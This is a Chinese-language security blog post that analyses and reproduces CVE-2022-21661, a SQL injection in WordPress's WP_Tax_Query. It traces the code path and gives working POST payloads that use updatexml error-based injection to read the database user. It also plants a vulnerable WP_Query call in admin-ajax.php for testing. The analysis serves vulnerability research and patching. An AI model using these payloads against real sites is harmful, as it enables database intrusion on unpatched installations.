freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

WordPress SQL 注入漏洞(CVE-2022-21661 分析与复现)
山石网科 2022-02-06 21:51:46 1714424
所属地 广东省

一、漏洞描述

WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37

二、漏洞分析

在分析整个漏洞之前,首先可以看一下如果想要触发该漏洞,漏洞代码应该是什么样子的。

new WP_Query($_POST['query_vars'])

这也就是说,传入WP_Query的参数如果可控的话,就可以利用该漏洞。接下来我们看看整个漏洞的利用调用链:

WP_Query::__construct
WP_Query::query
WP_Query::get_posts
WP_Tax_Query::get_sql
WP_Tax_Query::get_sql_clauses
WP_Tax_Query::get_sql_for_query
WP_Tax_Query::get_sql_for_clause
WP_Tax_Query::clean_query

根据官方的修复代码,最后的漏洞点位于WP_Tax_Queryclean_query方法:

1644155273_61ffd189c2cf93d6ba302.png!small?1643998125077

根据漏洞的描述,我们知道的是WP_Tax_Query::clean_query函数对变量没有做严格的校验,最终导致了SQL语句的拼接,进而导致了SQL注入漏洞。

通过上下文的分析,我们将注意放置在WP_Tax_Query::get_sql_for_clause这个函数上面,这也是整个漏洞利用调用链中的一个函数;在这个函数中,使用到了clean_query方法对传入的参数进行了校验过滤处理:1644155282_61ffd192659326b4073c2.png!small?1643998133684

继续查看该方法下面的代码,我们可以知道items变量最终拼接到了SQL语句中。1644155290_61ffd19a5682bfb4664b5.png!small?1643998141703

该漏洞最终需要利用的就是这个items变量,如果能够控制这个变量的值的话,就可以导致注入。

知道了漏洞点的位置,现在我们正向去分析一下。首先我们知道漏洞代码是这个样子的:

new WP_Query($_POST['query_vars'])

跟进到WP_Query对象的构造方法,知道其调用了query方法。在WP_Query::query中,调用了wp_parse_args函数对输入的字符串进行了处理:

function wp_parse_args( $args, $defaults = array() ) {
if ( is_object( $args ) ) {
$parsed_args = get_object_vars( $args );
} elseif ( is_array( $args ) ) {
$parsed_args =& $args;
} else {
wp_parse_str( $args, $parsed_args );
}

if ( is_array( $defaults ) && $defaults ) {
return array_merge( $defaults, $parsed_args );
}
return $parsed_args;
}

这里主要关注前面两个点,一个是如果传入的是一个对象的话,将其属性名和值取出来转变成数组;如果直接传入的是数组的话,也就是直接返回了。这里也就确定$this->query_vars$this->query变量可控了。

接下来调用get_posts方法,该方法的代码比较长,我们直接定位到利用链函数:

1644155299_61ffd1a398299c05aa1ac.png!small?1643998152281

变量$this->is_singular初始化之后为false,所以这里的if语句是会执行的,而下面的$this->parse_tax_query($q)语句,跟进去,其实就是给变量$this->tax_query赋值,其值为WP_Tax_Query类对应的对象,同时利用传入的$q变量,对该对象进行了一些初始化。这里关键就是$q变量,我们向上追溯,查看一下该变量的生成过程:

$q = &$this->query_vars;

$q = $this->fill_query_vars( $q );

首先$q变量获取$this->query_vars,通过上面的分析,我们知道这个变量是可控的,也就是我们通过POST传入的参数值。接下来调用fill_query_vars方法,跟进去会发现这个函数就是向$q这个数组里面添加了一些key值。我们可以传入一个数组,然后var_dump出来看看:

1644155311_61ffd1afc1f3be806f724.png!small?1643998163169

接下来进入$this->parse_tax_query($q)这个函数看看。该函数就是通过传入的$q数组,然后赋值给$tax_query变量,然后利用该变量去初始化对象$this->tax_query = new WP_Tax_Query( $tax_query );,在parse_tax_query函数中,我们需要给$tax_query变量赋值,就需要传入的数组中带有tax_query这个关键词即可。我们跟进到这个类的构造函数去看看:(简单说明就是经过处理的$q变量的值作为了WP_Tax_Query对象的构造函数的参数值)

1644155348_61ffd1d4a35c1fea0f53e.png!small?1643998200007

可以看到$this->queries变量的值是由$tax_query赋值得到的,只不过这里做了一些过滤,即调用了sanitize_query函数进行了处理。

到这里,我们就进入到了WP_Tax_Query类,并且我们可以控制传入这个类的构造函数的参数值。接下来看看这个构造函数中对传入的参数值做了哪些处理,也就是这个sanitize_query函数:(这里只截取关键部分了)

elseif ( self::is_first_order_clause( $query ) ) {
$cleaned_clause         = array_merge( $defaults, $query );
$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];
$cleaned_query[]         = $cleaned_clause;
if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) {
$taxonomy = $cleaned_clause['taxonomy'];
if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) {
$this->queried_terms[ $taxonomy ] = array();
}
if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) {
$this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms'];
}

if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) {
$this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field'];
}
}
}

我们要进入到这个if语句,就需要通过is_first_order_clause函数:

protected static function is_first_order_clause( $query ) {
return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) );
}

这个函数比较简单,就是需要传入的数据通过foreach迭代之后,仍然是一个数组,也就是传入的需要是一个二维数组,并且需要携带一些key值。(加上前面的需要传入tax_query关键词,到这里就需要传入的是一个三维数组)

由于我们要控制terms的值,所以传入的terms也要是一个数组,也就是说如果要控制terms值,需要传入一个四维数组,例如如下POST数据:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND

我们在这里先分析一下这个POST的数据。首先需要一个tax_query,是为了能给$tax_query变量赋值,然后我这里加了一个1是为了构造多维数组,这样传入进去之后,到上面这个foreach取出来之后,就是一个数组,从而构造了$this->queries,并且由于我们需要控制terms值,$cleaned_clause['terms'] = (array) $cleaned_clause['terms'];表名我们需要传入一个数组来进行merge函数的拼接从而覆盖。传入以上数据之后,$this->queries的值为:

Array
(
[1] => Array
(
[include_children] => 1
[terms] => Array
(
[1] => AND
)
)

)

以上分析都是在初始化WP_Tax_Query这个对象。接下来继续向下分析,开始调用WP_Tax_Query::get_sql方法,然后调用了WP_Tax_Query::get_sql_clauses方法:

1644155330_61ffd1c2c1a6f8a8041e9.png!small?1643998195314

之后将$this->queries变量的值传入get_sql_for_query函数,我们继续跟进一下这个函数:

1644155343_61ffd1cfe3cfa08cc4656.png!small?1643998195317

如果我们想要调用get_sql_for_clause方法的话,就需要对传入的数据进行一个控制,这里的关键在于is_array($clause)语句,也就是说,我们通过构造以后,这里需要传入一个二维数组,进而能够执行到这个条件里面并且需要满足is_first_order_clause函数,因此我们按照上面的构造方式是可以执行到这里的,并且这里的$clause的值为:

array(5) {
["taxonomy"]=>
string(0) ""
["terms"]=>
array(1) {
[1]=>
string(3) "AND"
}
["field"]=>
string(7) "term_id"
["operator"]=>
string(2) "IN"
["include_children"]=>
string(1) "1"
}

接下来就进入了get_sql_for_clause函数,也就是我们最终拼接SQL语句的地方,但在拼接之前,我们需要绕过clean_query函数,我们跟进这个函数看看:

1644155348_61ffd1d4a4c949be1e50a.png!small?1643998200009

这里为了不让他异常退出,我们需要添加一个field字段,让其值等于term_taxonomy_id即可,构造语句为:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

并且在函数的最后,调用了$this->transform_query( $query, 'term_taxonomy_id' );,我们跟进去,正好判定field的值,从而return,跳过了后面的执行操作:

1644155356_61ffd1dc48ef411d9da75.png!small?1643998207505

接下来就是SQL语句的拼接了,根据我们构造的operator的不同值,没有构造的话就是IN了,进行不同的拼接操作,这里是IN,我们进入到这个if语句:

1644155363_61ffd1e31228defb2d9ac.png!small?1643998214618

我们在terms处构造报错注入代码即可:

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=AND&query_vars[tax_query][1][field]=term_taxonomy_id

前面的分析都是介绍如何一步一步执行到get_sql_for_clause这个函数,并且介绍了传入这个函数的变量是如何控制的。接下来就是该漏洞点主要的部分。

get_sql_for_clause这个函数中,调用了clean_query方法对我们构造的数据进行了一个清洗,然后取出其中的terms值,带入了SQL拼接语句中,payload如下:

query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

1644155372_61ffd1ec2a01412758df6.png!small?1643998229427

三、漏洞复现

我这里将new WP_Query($_POST['query_vars'])语句放置到wp-admin\admin-ajax.php中:(在实际场景下,只要该处输入可控,即可造成SQL注入漏洞)

1644155380_61ffd1f4019aea93d9dd4.png!small?1643998231668

复现的时候开启一下debug即可看见报错注入(也可以进行盲注了);最后的构造语句为:(这里加上action参数是为了执行到目标代码)

action=aa&query_vars[tax_query][1][include_children]=1&query_vars[tax_query][1][terms][1]=1) or updatexml(0x7e,concat(1,user()),0x7e)#&query_vars[tax_query][1][field]=term_taxonomy_id

1644155387_61ffd1fbaead282ae361b.png!small?1643998244315

四、修复方式

官网已经发布更新版本,或者按照官网的修复方式,自行添加代码。

网址:

https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84;

https://wordpress.org/support/wordpress-version/version-5-8-3/

# web安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 山石网科 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
山石网科 LV.7
山石网科安研院
  • 94 文章数
  • 90 关注者
Linux内核攻击面研究
2023-03-13
详解Flask SSTI 利用与绕过技巧V2
2023-03-06
Shadowsocks 重定向攻击
2023-02-09
文章目录